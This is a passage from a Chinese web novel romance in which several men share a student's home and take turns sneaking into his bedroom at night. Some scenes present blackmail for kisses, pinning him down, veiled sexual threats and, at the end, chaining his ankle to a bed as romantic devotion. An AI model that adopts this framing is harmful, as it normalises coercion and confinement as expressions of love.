除了中午做饭的时候,几个男人为了争当给公主做饭的主厨,差点打起来, 最后一人做了两道菜式端上桌。 陈悯之看着餐桌上一堆风马牛不相及的菜式——一部分是川菜, 一部分是法餐,一部分是粤菜, 一部分是西式甜点,有些头大。 为了不让自己以后的每一顿都吃到这种中西混合的杂交品,陈悯之不得不按照顺序给几个人排了班:周一周二卫殊做,周三周四陆承轩做,周五周六顾明珏做,周天秦陌做。 被安排好工作顺序的男人们终于安分了,各自在心底盘算着要做什么菜才能在厨艺竞争中把其他雄性比下去。 只有一个人除外。 秦陌皱着眉头:“为什么我少了一天?” 陈悯之还没回答, 那头陆承轩就笑嘻嘻地说:“哎呀, 这是你的福气,哥哥怕你累着,特意让你少干一天活儿呢。” 秦陌阴森森看向他:“这福气给你你要不要啊?” 陆承轩撇撇嘴:“哥哥给你的福气你还不要, 你怎么这么不懂得感恩, 真是不知好歹。” “不像我, 只会体谅哥哥的良苦用心。” 秦陌咬紧牙根,面部肌肉抽动, 在短短半天内不知第几次像打烂陆承轩那张狗嘴, 却因为不得斗殴的入住规则而生生忍下来。 而位于话语中心的陈悯之却很镇定, 像是早已料到了秦陌会这么问, 解释道:“是按照入住顺序排的,这样比较公平,你最后一个进来, 所以排到最后面,一周只有七天,少一天我也没有办法。” 秦陌衣袖下的五指攥紧了,他怎么也没想到,自己不过因为一时的犹豫晚了一点进屋,竟然产生了一系列的连锁反应,什么都落在最后面。光是做饭少一天也就罢了,要是之后的其他什么内容,他也比别人少一天,岂不是亏大了。 想到一些不愿见到的可能性的男人,试图讨价还价:“就不能一人两天地轮流做吗?这样才是最公平的。” 陈悯之思索片刻,说:“不行,这样容易记不清哪一天该谁做,还是按照一周轮流比较方便。” 秦陌张了张嘴,还要说什么,陈悯之已经接着道:“那就这样决定了,按照排班顺序,今天的晚饭该卫殊做,你们不许再像今天中午一样抢来抢去了。” 卫殊率先应答:“好。” 陆承轩紧随其后:“好哦,都听哥哥的。” 顾明珏从容接上:“嗯,按照悯之的想法来就好。” 又成了最后一个的秦陌:“ ” 两秒后,他看着面带疑惑望向他的少年,咬咬牙道:“好。” 生活中最重要的两件事情——吃饭和睡觉,现在吃饭问题解决了,那么就还剩下另外一个问题。 陆承轩亮着一双星星眼问:“那晚上陪哥哥睡觉的顺序呢,也是按照入住顺序来吗?” 陈悯之:“你想得美。” 陆承轩露出失落的表情:“好吧,我知道哥哥喜欢卫殊,我最体谅哥哥了,不过我最多只能接受卫殊比我多一天。” 陆承轩:“不如每周就卫殊三天,我两天,顾明珏一天,秦陌一天好啦。” 卫殊横着眼睛,眼里像是要溅出火星子,但按照陆承轩这么分,他分到的天数竟还是最多的,因此虽然愤怒,却像是一拳打在棉花上,使不出力气来。 秦陌却是难掩恨意:“凭什么?我做饭比你们少了一天,在这上面应该补回来才公平。” 秦陌:“我认为应该卫殊三天,我两天,你和顾明珏各一天。” 两次分配都只有一天的顾明珏面露微笑:“你们当我不存在是吗?” 这时,卫殊瞅了眼自己身旁的陈悯之,才发现少年从不知何时起就一直没说话,只是安安静静地听他们争辩。 卫殊试探着问:“悯悯,你怎么想?” 他的声音不大,却足以让在场所有人都听见,因此,原本争论不休的几个男人也不约而同地停下来,几双眼睛一同望着少年,想知道他的回答。 但陈悯之接下来的话像是一锅盖敲在他们的脑门上,把他们美好虚幻的梦境一头敲碎:“你们好像都搞错了。” 少年眉眼微垂,依旧是那副柔软好亲的模样,说出来的话却像是一堵冷漠无情的墙,将他们所有人都隔绝在外:“我不需要任何人陪我睡觉,我一个人睡就足够了。” 空气安静了快一分钟。 半天没听到回答,陈悯之有些疑惑地抬头:“你们听清楚了吗?” 卫殊:“好。” 陆承轩:“好哦,都听哥哥的。” 顾明珏:“嗯,按照悯之的想法来就好。” 秦陌:“好。” 陈悯之:? 怎么觉得这场景似曾相识而且这几个人答应得也太容易了些,竟然没像他预想中的那样胡搅蛮缠 陈悯之觉得有些奇怪,但也没想太多。 就算这几个又在心底盘算什么幺蛾子,左右也不过是兵来将挡,水来土掩,现在他把这几条疯狗都聚在了自己家,情况就算再坏,他们把他抢来抢去的时候,也不会像之前那样东一个地方西一个地方,每天早上醒来都不知道自己在哪里了。 陈悯之答应让这几个人入住的原因也是如此,反正都要被抢来抢去,不如在他家抢,这样至少不会影响他日常上课学习。 然而陈悯之不知道的是,他这句话,在无形中给了处于对立竞争关系的几个男人一条十足重要的信息。 ——要么,就大家一起吃,就算分配不均,至少所有人都还能吃到口肉,要么,就谁都没得吃。 狡猾的捕食者,在悄无声息的目光交流间达成了共识——想要共赢,只能合作。 * 晚上,陈悯之正在自己房间里看书。 因为之前被几个男人抢来抢去,耽误了一些课程,只能靠他自己慢慢补。 但自己看书毕竟比不上上课听老师讲,他又不属于那种很聪明的学生,是以尽管学得很认真,也还是有好多看不懂的地方。 就在这时,安静的夜里响起几声敲门声。 陈悯之隔着门板问:“谁?” “是我。”门后面传来秦陌的声音。 陈悯之走过去,把门板打开一条小缝,像是一只警惕地守着自己窝的兔子:“你来做什么?” “给你送东西。”秦陌把手里的事物递给他。 陈悯之接过来一看,是手写的专业课笔记,米白色的纸页上,用钢笔书写的黑色字体清瘦有力。 秦陌淡淡推了推透明的金丝眼镜:“你缺了好几次课,我猜你自学的话,可能有看不懂的地方。” 陈悯之:“谢谢,我收下了。” 半分钟后,他看着门口,没有半点儿要走的意思的男人,问:“你还有什么事吗?” 秦陌:“下周就是期中考。” 陈悯之:“我知道。” 所以他今晚才在这儿加班加点地复习呢。 秦陌墨色眸子看着他:“你如果需要补之前落下的课程,我可以提供帮助。” 陈悯之扒在门边,狐疑地歪着脑袋:“所以,你大半夜过来,是想给我补课?” 秦陌:“嗯。” 陈悯之:“只是补课?” 秦陌:“你还想做什么?” 想做也不是不行,秦陌在心底想。 陈悯之思索了一会儿,秦陌之前也给他补过课,上课水平他是很认可的,正好他的确是有一些怎么都看不懂的知识需要帮助,于是他打开门:“那你进来吧。” 秦陌进来后,陈悯之探出头去四下望了一眼,发现其他人都在房间里,没人注意这边,才轻声关上门。 怎么跟做贼心虚似的,陈悯之心底冒出一丝奇怪的感觉。 可这也怪不得他,是他自己白天才说了要一个人睡,晚上就让男人进屋,要是被剩下几个知道,他解都没法解释。 不过开始学习后,陈悯之很快就忘记了这一丝异样。 客观来讲,秦陌真的算得上是一个很好的老师,他不是单纯地照本宣科,而是教陈悯之怎样触类旁通,而许多知识之间都是有联系的,解决了这一个问题,其他的问题不用秦陌教,陈悯之自己也就明白了,记忆也会更深刻。 有了一对一的私教,陈悯之的学习效率大大提高,比他一个人闷头看书不知好了多少,学习的问题解决了,陈悯之的心情都好起来,至少他现在不再担心下周的期中考试了。 他合上书本,对秦陌扬起一个笑:“谢谢。” 秦陌被那笑容晃得心跳漏了一拍,面上却不显:“就这样?” 陈悯之:“你还想要怎样?” 秦陌哑声道:“我给你讲了快两小时,没有功劳也有苦劳,你怎么都得给我一点报酬吧。” 陈悯之犹豫地蜷了蜷手指头。 他不是未开情窍的傻子,自然知道男人想要的报酬是什么。 但要是补了两小时课就要把屁.股给出去,这课时费未免也太高昂了些。 不过除了屁.股,别的东西倒是可以给给。 经历过一些事情的少年,现在已经明白,在被恶犬盯上的情况下,主动总是要比被动好些的。 何况,想要恶犬听自己的话,不能光给巴掌,还得适时地给颗糖吃。 于是,在暖黄色的灯光下,犹豫了很久的少年,终于缓缓地凑过身去,将嘴唇贴在了男人的唇上。 秦陌的瞳孔有一瞬的紧缩。 这并不是他和陈悯之的第一次接吻,却是这么久以来,陈悯之第一次主动吻他。 从前他以为,接吻都是差不多的,只要吻到就可以了。可直到现在他才明白,被他强迫的吻,和少年主动献上的亲吻,滋味是完全不一样的。 温软的、含有香气的唇瓣贴着他,明明没有更深一步的动作,秦陌却感觉心口像是掉进了一颗糖,被心脏烫热的温度熨得慢慢化开,满心满眼都是甜。 几乎是本能地,他没有犹豫地扣住少年的脖颈,加深了这个吻。 少年有一瞬间的挣扎,但过后却好似特意顺从似的,慢慢地放松下来,没有再抵抗他侵入进去的舌.头。 甚至,会在被他勾住舌.头的时候,主动用软嫩的小舌.头去舔他,回应他的亲吻。 秦陌心口一阵阵鼓胀,只觉得恍若置身梦境中,如果这就是传说中的温柔乡,他愿永远沉溺在里面。 不同以往的霸道强势,男人亲吻的动作温柔非常,简直像是怕把这个来之不易的梦境碰碎了一般。 秦陌几乎忘情地吻着。 但忽然,他脑海中又闪过一个念头。 和他不一样,卫殊得到的一直是少年主动的吻。 也就是说,卫殊竟然一直都吃得这么好! 这条贱狗! 他恨恨地想着,丝毫没有意识到自己现在亲着的原本就是别人的老婆。 他心中有气,亲吻的动作便不自觉变得凶狠了些,牙齿也霸道地在少年唇上咬了一口,像是恨不得对这个人打上自己的标记似的。 “唔”少年吃痛得闷哼一声,推开了他。 唇上温热的触感突然离开,秦陌一愣,旋即反应过来自己做了什么,恨不得给自己一巴掌:“我” 他想道歉,想要陈悯之继续亲他,可少年已经与他分开到原来的距离,红着脸说:“好了,这是给你的奖励,只有这一点,不许再多要了。” 头一次尝到甜头的男人,终于也懂了想要吃到更多,就不能把小兔子给逼急了的道理,喉结滚了滚:“好。” 陈悯之:“嗯,那你出去吧。” 秦陌:“嗯,晚安。” 但就在他起身准备开门的时候,外面忽然又传来敲门声。 “哥哥,你睡了吗?” 第67章 第 67 章 “哥哥怎么在屋子里藏男…… 67 陈悯之的大脑空白了几秒钟。 他看着停下脚步, 同样静止在原地的秦陌,反应过来什么,上前把原本要出去的男人往里面推, 一边推一边小声说:“你去躲起来, 快点。” 秦陌眉头蹙了蹙,没动, 也没说话,只是用一双墨色眸子看着他,那目光像是在说为什么要躲。 来的是陆承轩,又不是卫殊,大家都是小三,平起平坐,有什么好躲的。 况且他跟陈悯之明明也没做什么, 就是在一起学习而已, 顺便亲了个嘴儿。 陈悯之见他不动,有些急了,额上都开始冒汗。 陆承轩要是知道秦陌在他房间里, 肯定不会善罢甘休, 毕竟是他自己白天才说了要一个人睡, 晚上房间里就偷偷装了个男人。 一碗水端不平,往往就是平衡被打破的开始。 他现在好不容易把这几天疯狗控制住, 让他们稍微变得听话一些了, 要是让其中一个知道有人在偷吃, 剩下的肯定会一拥而上, 像凶恶的豺狼一样你一口我一口地把他瓜分干净。 但显然,刚刚尝到甜头、还沉浸在美梦中的男人,并没有意识到事情的严重性, 还站在原地一动不动。 虽然身份是小三没错,但秦陌并不想真的像见不得光的老鼠一样,一有人来就躲到阴沟里去。 他总还是有自尊的。 门外的声音还在继续:“哥哥,你在里面吗?” 下一刻,急得像小兔子一样团团打转的少年,忽然踮起脚,在他唇上亲了一口。 陈悯之无声地对他做了个口型:“躲起来,求你。” 然后便转身走向了卧室门口。 秦陌摸了摸唇上残留的柔软触感,将视线投向房间里唯一能藏人的地方——床下。 他钻了进去。 几乎在床罩放下的同一瞬间,卧室门打开了。 陈悯之把门打开一条小缝,用身体挡着卧室内的场景,警惕地看向外面的男人:“什么事?” 陆承轩笑眯眯地把手里端着的托盘递过去:“哥哥要来点夜宵吗?我做了你喜欢吃的小蛋糕。” 陈悯之低头一瞧,木质托盘里放着两块金黄色的芝士蛋糕,表皮上嵌着蔓越莓果干,色泽诱人,香气四溢。 他现在不是很饿,但他怕自己要是不收下,刚好给了陆承轩赖在这里不走的理由,于是只能把托盘接过来:“给我吧,我一会儿吃。” 但他收下后,门口的男人仍然没有要离开的意思。 陈悯之警觉地抵住门板:“你怎么还不走?” 陆承轩露出一副有些受伤的表情:“我给哥哥做了小蛋糕,哥哥都不邀请我到屋里去坐坐吗?” 陈悯之睁着一双圆眼睛看他:“你自己有房间,又不是没地方坐。” 说着就要关门,却被男人用一只手掌轻轻松松地抵住。 “我又没说要对哥哥做什么,只是想进屋坐一会儿,哥哥怎么连这都不允许,好坏哦。”陆承轩眼底暗光一闪而过,幽幽道,“还是说,哥哥屋子里藏了男人,怕被我看见,所以才不让我进去?” 被戳中心思的陈悯之心脏骤然一停,红着脸反驳:“你胡说什么!” 搞得他像是什么欲求不满,偷偷往屋里藏男人的变态一样。 陆承轩:“是不是胡说,哥哥让我进去看一眼不就知道了。” 为了自证清白,陈悯之只好把他放进来。 陆承轩一进屋就跟鬼子进村一样,飞快地把整个屋子从浴室到阳台都扫荡了一遍,没有发现什么可疑人员,这才站定,对陈悯之露出一个人畜无害的笑容:“好啦,哥哥别生气,我也是担心你的安全嘛,毕竟这幢房子里的坏狗太多了,万一偷偷跑出来一条,把哥哥吃掉就不好了。” 松了口气的陈悯之,没去计较男人这些狡猾的托词:“那现在你可以出去了吧?” 可陆承轩的视线在他书桌上转了一圈,答非所问:“哥哥刚才是在看书吗?” 陈悯之:“嗯,下周期中考,我在复习。” 陆承轩那双浅褐色的眼珠子滴溜溜转了转:“哦,哥哥刚才那么久都不给我开门,我还以为哥哥睡着了呢。” 陈悯之心头一跳,有些心虚地移开目光:“我看得太投入了,没听见你敲门。” “是吗。”陆承轩忽然轻笑一声,抬步慢慢朝他逼近过来。 陈悯之心中霎时警铃大作,后退一步道:“你干什么?” 下一刻,他的下巴被人捏住,男人粗糙指腹压上了他的唇角:“可是,哥哥光是看书,怎么把嘴巴都看肿了呢?” 陆承轩眼底的嫉妒几乎要化作实质。 刚才在门口,光线昏暗看不清楚,可现在他却能清晰地看见,少年柔软饱满的唇瓣有些不正常地嫣红,甚至微微地发肿,仿佛在不久前才刚刚被人叼在嘴里嗦过一样。 “唔、放开我!”陈悯之慌了,像只被人提着耳朵的小兔子一般,拼命抬爪子去扒拉对方的手。 可高过他快一个头、连骨架都比他大了一号的男人,力气那里是他能比的,他扒拉了半天,不仅一点儿都没掰动,自己还不知不觉地被男人逼得一直后退,撞倒了桌子上的水杯,玻璃杯哗啦一声砸碎在地上,水花四溅。 但陈悯之现在已经没有心思去管这些,他已经被逼到了绝路,退无可退,膝弯一软就在床上坐了下来。 陆承轩一手撑在他身边,高大身躯在他身上覆下阴影,仿佛褪去乖顺金毛犬的表皮,暴露出恶劣本性的狼。 男人指尖探入他的口中,把他的唇瓣内侧翻出来,果不其然在上面发现了一道新鲜的咬痕。 陆承轩摩挲着那道痕迹,仿佛找到了少年与人偷情的铁证一般,忽地勾了勾唇角,再抬眼时,又恢复了那种柔弱无害的家养犬姿态:“哥哥好坏哦。” “明明说了谁都不给吃,怎么又在背地里给人开小灶呢?” 他不满地抱怨道:“真是不公平。” “唔、什么开小灶,我没有,你放开我,放开!”陈悯之害怕地挣扎着,奈何嘴巴被人捏住,双腿也被男人用膝盖死死压在床上,他的挣扎就像是被人提住后颈的小动物一样,不仅没有一点威慑力,反而会激发人生出一些更恶劣的、想要更凶地欺负他心思。 “唉。”陆承轩叹了口气,“要是被其他几条坏狗知道,哥哥可怎么办呀。” “一定会被失去理智的坏狗欺负得很惨吧,说不定到时候不仅嘴巴肿了,连屁.股也会肿起来呢。”男人语气惋惜,又十分怜悯地说。 然而下一刻,他的语气又陡转阴狠:“肿到几天几夜都消散不下去,只能躺在床上,连吃饭都只能让人喂。” 陈悯之害怕地抖了抖,陆承轩说这话时紧盯着他的眼睛,像是恨不得用目光把他给吃下去,让人觉得他不仅这么说,甚至现在就想要实践那些恶劣的话。 被抓住把柄的小兔子,停止了无用的挣扎,只能很可怜地颤着眼睫说:“不要不要让他们知道” “这样啊。”威胁恐吓的目的达到,男人施施然收起了阴惨惨的眼神,重新披上了那层狗皮,“那哥哥给我也吃一口,我就不把哥哥开小灶的事告诉其他人,怎么样?” 这实在算得上是一笔划算的买卖。 比起被四条发了疯的狗一起吃,只被一条狗舔两下,总还是要好得多的。 于是没有选择的小兔子,只能被迫答应了狼开出的条件。 面对男人覆下来的吻,陈悯之没有再拒绝。 陆承轩卡住他的下巴,手上技巧性地一捏就让他张开了唇瓣,敞开口腔内里让男人的舌.头伸进来。 男人仿佛一条饿了许多天,骤然闻到肉.腥.味的狗,一舔上来就仿佛开了闸,发了疯一样,粗大的舌.头用力又快速地在他口中翻搅着,像是要把他嘴里的每一寸都舔遍,还很恶劣地故意去舔.弄他的舌.根,好刺激他口中分.泌出更多的津液,再把那些水全都贪婪地吃下去。 “呜、呜”少年被这样凶狠地嘬弄欺负出了哭腔,眼睫都被浸得湿漉漉的。 但天生坏种的男人还嫌不够似的,浅浅分开唇瓣,舔了舔嘴角牵出的银丝,很恶劣地提出了更过分的要求:“哥哥要主动一点才行呢。” “毕竟,第一个从哥哥这里偷吃的坏狗,也是哥哥主动给他开的小灶吧?” 然而回应他的,却不是少年主动的亲吻,而是一个响亮的巴掌。 “啪——” 坐在床上的少年身量纤薄,一双眼睛红红的,有些凶地瞪着男人,像是一只被逼急了的兔子。 兔子这种生物,虽然平日里总是很温顺,但实在被欺负狠了的时候,也是会咬人的。 于是陆承轩知道,这里就是界限,不能再过了。 豺狼收起了自己的獠牙,对小兔子笑了一笑:“好啦,逗哥哥的,我知道哥哥最讨厌那些坏狗了,怎么可能主动给他们开小灶呢,肯定都是那些坏狗欺负哥哥。” 陆承轩笑嘻嘻地说着,仿佛自己不是那些令人讨厌的坏狗之一似的。 说完了,他还牵起少年扇他巴掌的那只手,低头在那白皙掌心舔了一口:“谢谢哥哥。” 虽然陈悯之没有主动亲他,但少年赏给他的巴掌,也算是某种意义上的主动了。 陆承轩还是很满足的。 “出去。”交易已经达成,陈悯之下了逐客令。 “好哦,哥哥晚安。”吃饱喝足的陆承轩笑吟吟地答应,顺便还凑过来,在少年脸上恋恋不舍地舔了一口,“不过,哥哥下次再开小灶的时候,也要记得叫我哦。” 回应他的,是少年清脆响亮的又一个巴掌。 挨了奖励的陆承轩慢慢悠悠地直起身,准备离开,门口却在这时传来敲门声。 一道温润的声音在门外响起:“悯之,你还好吗?” 陈悯之大脑嗡了一声。 有一瞬间,他简直怀疑这几个男人是不是提前商量好的,一个接一个地来。 他没有犹豫太久,径直去推陆承轩,小声说:“躲起来。” 被喂饱了的家养犬很是听话,一点儿当小三多余的自尊心都没有,微笑着答应:“好哦哥哥。” 他环视一圈,最后选择钻入了唯一能藏人的床底。 然后就对上了一张能冻死人的冰山脸。 陆承轩笑着打了个招呼:“好巧啊,原来是你。” 回应他的是秦陌阴森到能杀人的目光。 但二人没有再进一步的交流,因为外面已经传来卧室门被打开的响动。 已经有了前车之鉴的陈悯之,这一次给自己戴上了口罩,遮盖住被男人亲肿了的唇瓣:“有事吗?” 站在门外的顾明珏,在听到这句话的时候,隐在昏暗中的眼瞳微微一缩。 少年的声音有些哑。 虽然隔着口罩听不太清晰,但能听出来,和正常时候不太一样,像是刚哭过,或者刚刚经历过情绪的大起大伏。 捕捉到这一信息的顾明珏,面上却不动声色:“我刚刚听见这边有一些奇怪的声音,有些担心,所以过来看看。” 陈悯之掩下眸子:“没什么,我刚才不小心把杯子打碎了。” 顾明珏微微一笑:“哦?那悯之戴着口罩,是在打扫卫生吗?” 陈悯之轻咳一声,含含糊糊道:“嗯嗯。” 谢谢顾明珏,不然他还不知道怎么解释大晚上在自己家戴口罩的事情。 然而下一刻,他就听顾明珏道:“我来帮你吧,不然这么大间屋子,悯之要打扫到什么时候去了。” 陈悯之忙道:“不用,只是一个玻璃杯碎了而已,我一个人清理就行了。” 顾明珏有理有据:“那就更需要我来帮忙了,收拾玻璃渣很危险,悯之粗心大意的,要是把手划伤了怎么办。” “真的不用。”陈悯之都快哭了,简直想不出有什么办法才能把人尽快打发走。 顾明珏叹口气:“悯之并不擅长做家务,不是吗?之前清理家里的猫毛的时候,你就不小心把下水道给堵了。” 陈悯之:“ ” 顾明珏说的是他刚开始去顾家照顾小猫的时候,堵下水道事件发生后,顾明珏就再也不让他清理猫毛了,甚至是包括产猫砂之类的一切清洁工作都不让他做,说他只负责喂猫和陪小猫玩儿就可以了,其他会有专门的清洁人员负责。 陈悯之最终还是把顾明珏放了进来。 倒不是因为想让人帮忙打扫玻璃碎渣,而是有了陆承轩的前车之鉴,他怕要是一直不放人进来会引起怀疑,到时候顾明珏也察觉他屋里藏了男人就不好了。 但陈悯之很快便后悔了这个决定。 因为男人蹲在一地玻璃碎片前,视线落在因为水渍而显得格外清晰的脚印上,仿佛福尔摩斯上身,抬头对他微微一笑:“我记得,悯之的脚似乎没有这么大呢。” 少年的脚曾被他捏在掌中把玩,白皙纤瘦,在男人之中算是偏小,很是漂亮可爱的一双脚。 而地上这个长而宽的脚印,很明显是属于身材高大的男人的。 陈悯之呆在了原地。 他什么都想到了,却怎么也没想到能在这里出纰漏。 顾明珏站起身,缓缓朝他踱步过去:“悯之屋里,该不会是进了小偷吧?” 陈悯之终于崩溃了。 这次他没有再去找什么蹩脚的借口,因为他知道在男人超乎常人的洞察力前,什么借口都无济于事,他近乎是破罐破摔地,把顾明珏推到了墙上,然后踩着对方的拖鞋,主动吻上了男人的唇。 反正最后都要被亲,不如他自己来,跳过前面的流程,这样还快一点,亲完了好早点把这些人赶走。 顾明珏愣了一下,像是被天降的幸福砸晕了脑袋,但随之而来的,便是做梦一般的狂喜。 除了在窗户纸被捅破之前,陈悯之因为找他做人工呼吸的那次主动吻了他,后来他便再也没能得到过少年主动的吻了。 而那种甜蜜的滋味,只要尝过一次,此生都难以忘怀。 少年软嫩的小舌.头,仿佛钩子一般主动缠上他的,带着绵绵密密的香气,从那双柔软湿。热的嘴唇里渡过来,就像是小蛋糕长了脚,亲自蹦到嘴里一样。 顾明珏接纳着少年的主动,大掌不自觉地揽上了少年的腰,将那柔软的躯体紧紧箍进怀里,与之唇舌相缠,吻得更深。 温香软玉,再不过此。 顾明珏的吻技很好,陈悯之没被亲多久就变得迷迷糊糊的,都快忘了自己是为什么去亲顾明珏。 而就在这时,门被敲响了。 他听到了一个几乎让他灵魂出窍的声音: “老婆,开门。” 第68章 第 68 章 “宝宝不是最讨厌秦陌了…… 68 陈悯之魂儿都飞了。 他霎时从被男人亲得迷迷糊糊的状态中清醒过来, 猛地一把推开了顾明珏。 少年脸上是前所未有的慌张。 和前面几个来的人不一样,这次来的是卫殊,是他名义上唯一的男朋友。 陈悯之其实一直都是一个很保守的人, 做事循规蹈矩, 从不做出格的事情,是以尽管他现在和几个男人的关系本来就称得上混乱, 但当面对正牌男朋友,他心里还是难免觉出一丝羞愧和难堪。 他六神无主地推着顾明珏:“躲起来,快躲起来。” 顾明珏视线覆在少年慌乱的脸上,眸光深暗地舔了舔唇角。 他当然知道陈悯之在慌乱什么,他心中甚至不合时宜地生出一种很恶劣的想法——干脆就让卫殊发现好了,反正他迟早都会发现的不是吗? 既然霸道地独占了陈悯之明面上男朋友的位置,就应当想到会有头上长草的一天。 但他看着因为他不动, 而不断推着他、急得快要哭出来的少年, 终究还是心软了。 好吧,看在小兔子今天这么可爱,这么乖巧地主动亲吻他的份上, 他就帮小兔子一次。 顾明珏视线搜索一圈, 浴室不可能藏人, 卫殊只要进来一找就会发现,阳台也是, 衣柜则太狭窄, 以他的身量进去了柜门都合不上, 于是整间屋子只剩下唯一能躲藏的地方——床下。 顾明珏皱了皱眉, 怎么也没想到自己这辈子还有钻床底的时候。 但门外的人显然是等急了,敲门声越来越急促:“老婆,你在里面吗?” 陈悯之冲着门外慌忙应了一声:“在, 来了。” 然后转过头来,用一种恳求的眼神看着他,扯着他的衣角,很小声地说:“躲起来,下次还给你亲。” 顾明珏眸光骤然闪了闪。 下一秒,他没有犹豫地钻进了床底。 然后和床底下的两位手挨手,肩并肩,三个人面面相觑。 三个人都很默契地没发出声音,只侧耳听着外面的动静。 门开了。 陈悯之站在门口,扶着门把手的掌心都是湿润的汗,他勉强控制住自己的声音不发虚:“你怎么来了?” 已是深夜,客厅的灯早已关上,走廊上只有卧室里透出的微光,于是昏暗光线下,卫殊没注意到少年微有些肿的嘴唇,以及脸上那一丝竭力掩饰的心虚。 他现在的注意力只在陈悯之这个人身上。 男人仿佛一条渴家的大型犬一样,伸出双臂,将少年抱入了怀里:“我想你了。” 陈悯之顺从地被他抱着,小声说:“你不是一直都和我在一起吗。” “那不一样。”卫殊闷闷地回答,“你今天顾忌着那几个人,都没和我亲近过。” 放在之前他们同居的时候,他一天至少能亲到十次老婆,不止亲,还能做更多的事情,但今天,陈悯之就只是在早上亲了他一下,剩下的时间别说亲了,他连少年的手都没摸到过。 这就像是原本每天都有糖吃的小孩,有一天突然吃不到了,渴得浑身发痒,觉都没法睡。 “我看他们都睡了,就过来找你。”卫殊将鼻息埋在少年的脖颈间,深深嗅着少年身上温软的香气,像是撒娇的大型犬一般,“老婆,亲一口好不好?” “唔卫”屋子里藏了三个男人的陈悯之,下意识想推拒,男人却已经一边亲着,一边将他推进了屋,反手锁上了门。 饿了一整天的男人,在尝到香软的那一瞬间,就迫不及待地叼住了少年的嘴巴,将舌头伸了进去。 仿佛久旱逢甘霖,男人含着齿间的软.肉,凶狠又霸道地亲着,粗粝的舌头舔过了少年口腔里的每一寸柔软,犬类似的,一边亲一边咬,极具占有欲地想要在配偶身上留下痕迹。 但也正因为他亲得太凶,也太急,故而没有发现少年在被他亲之前就已经有些肿的唇瓣,和那唇上印着的咬痕。 等男人凶悍的一波亲吻过去,两人喘着气分开的时候,陈悯之的嘴唇已经肿得不能看,分不清上面的痕迹到底是谁留下的了。 卫殊看着少年被亲得蕴起水汽、仿佛乌润润的玛瑙石一般的眼睛,以及那饱满嫣红,如同熟透了的果子一般的唇瓣,只觉得少年漂亮得过分,他无论看多少次都不会腻。 他爱怜地亲吻着少年的眼睫,低声道:“公主。” “嗯。”陈悯之应答着,脸颊都在发烫,连着耳根子红了一圈。 他早已听过许多次卫殊这么叫他,已经不会像第一次听到时那么害羞,但这次,不仅是他听到,床下面的三个人也听到了,陈悯之一想到这一点,整个人就烧得厉害。 “把他们都赶出去好不好?”卫殊忽然道。 陈悯之愣了一下:“啊?” 卫殊吻着他的唇:“把他们都赶出去,我们还像之前一样生活,好不好,公主?” 想到床下的三个人都听到了这句话,陈悯之心跳都漏了一拍。 他抓着男人的手臂,小声说:“赶不走,你不是知道的吗。” 他说的是实话,卫殊也明白这一点,毕竟他们之前已经试过了,千防万防,还是防不住一有机会就来偷吃的狗。 于是公主只能也稍微喂那些流浪狗几口肉吃,好让他们不要再来危害自己的生活。 得到回答的卫殊不再说话,只是低下头,闷着脑袋,在少年锁骨上咬了一口。 像那种心中不满,但又不敢、也不会真正对主人发泄的大狗。 陈悯之知道卫殊这个男朋友当得很委屈,也没有反抗,很顺从地任着他咬,但当发现男人的吻顺着他的锁骨往下,宽大手掌也钻进他的衣服下摆,开始往上攀的时候,才骤然回过神,有些慌地推拒起来。 “等、等一下。” 卫殊抬起头看他,哑声问:“怎么了?” 两人做了好几个月的情侣,陈悯之自然知道男人现在想做什么,但他又不可能说是自己床底下藏了三个男人,现在做不合适,于是只能期期艾艾道:“洗澡、还没洗澡。” 卫殊道:“我洗过了。” 他早在来敲小公主的门之前就把自己洗干净了。 说罢,又低下头要继续亲。 陈悯之慌忙用手抵着他的胸膛:“我还没洗。” 卫殊吻了吻他:“没关系,公主身上都是香的,很干净。” 然后锲而不舍地再一次埋下头去。 陈悯之急得快哭出来了:“不行,我要洗澡!” 卫殊抬起头,见他坚持,只得妥协:“好吧,我去给你放水。” 陈悯之:“嗯,你也再去洗一遍。” 卫殊奇怪地说:“我洗过了。” 陈悯之有些心虚地移开目光:“你身上出汗了,再洗洗吧。” 卫殊低头扯着自己领口闻了闻,发现身上是出了些汗,他的体温天生比常人更高一些,也更容易热,尤其是在某些时候,刚才仅仅是亲吻,身上就已经浸出一层薄汗。 虽然刚洗完澡,即使出了汗也没什么味道,但卫殊还是怕小公主嫌弃,于是亲了亲少年:“好,那我去洗,你先休息会儿。” 陈悯之:“嗯。” 他坐在床上,很是乖巧的模样。 然而当男人走进浴室,听到浴室门咔哒一声合上的时候,少年就跟一只兔子似的立刻从床上蹦了下来,撩开床罩,对着床底下并排躺的三个人拼命做口型:“快走!” 三个人依次从床底下钻出来,脸上神色各异,但相同的是,眼睛都盯着少年,目光中流露出酸妒与不满。 陈悯之最后是挨个儿把他们推了出去,关上门之前还被陆承轩舔了一口手。 做完这一切,他才像是彻底放松下来一般,瘫在了床上。 卫殊洗完澡出来,见少年躺在床上打着哈欠,有些困倦的样子,问:“要不要我帮你洗?” 陈悯之的回答,是朝男人伸出双臂,哼唧着说:“抱。” 卫殊将他抱进了浴室里。 没一会儿,浴室里传来水声,以及一些其他的,暧昧而隐秘的声响。 没有了几个偷听的观众,陈悯之整个人放松下来,对于男人的索要没有再拒绝。 自以为安全了的少年,没有注意到,在寂静的夜里,贴在卧室门外的三双耳朵。 * 第二天一早,几个男人上班的上班,上课的上课,相继出了门。 陈悯之今天没课,又因为昨天弄到很晚,于是睡到十点半才起来,吃完早饭,收拾收拾准备去图书馆自习。 但他刚换好鞋,还没出门,就迎面撞上了上完早课从学校回来的秦陌。 明明已经是春末,接近初夏的时节了,男人身上却似带着寒气,金丝眼镜后面的一双眸子寒潭似的,森森地朝他盯过来。 陈悯之被这目光吓得后退了一步,张口道:“秦” 他想问秦陌这是怎么了,话还没说完,却突然被男人圈住膝弯,一把扛了起来。 陈悯之惊恐地挣扎,在男人宽厚的背上又踢又打:“你干什么!放开我!” 然而任凭他打得多厉害,男人始终一言不发,一直把他扛回了卧室里。 不是他的卧室,而是秦陌的卧室。 骤然进入到陌生环境的少年,仿佛一只应激的兔子,挣扎得更厉害了:“秦陌!秦陌你放我下来!你听到没有!” 随着话音落下,男人把他放了下来。只不过,他被放置的地方不是地板,而是床上,并且,他的脚踝上也被男人套上了链子。 银链并不粗,很细的一条,外表美观,乍一看还以为是装饰品,环绕脚踝的一圈金属圆环,内部也贴心地包裹着一层毛绒软布,接触到皮肤并不难受。 但这并不代表陈悯之能接受。 他简直不明白秦陌怎么突然又发疯了,明明昨天晚上还好好的。 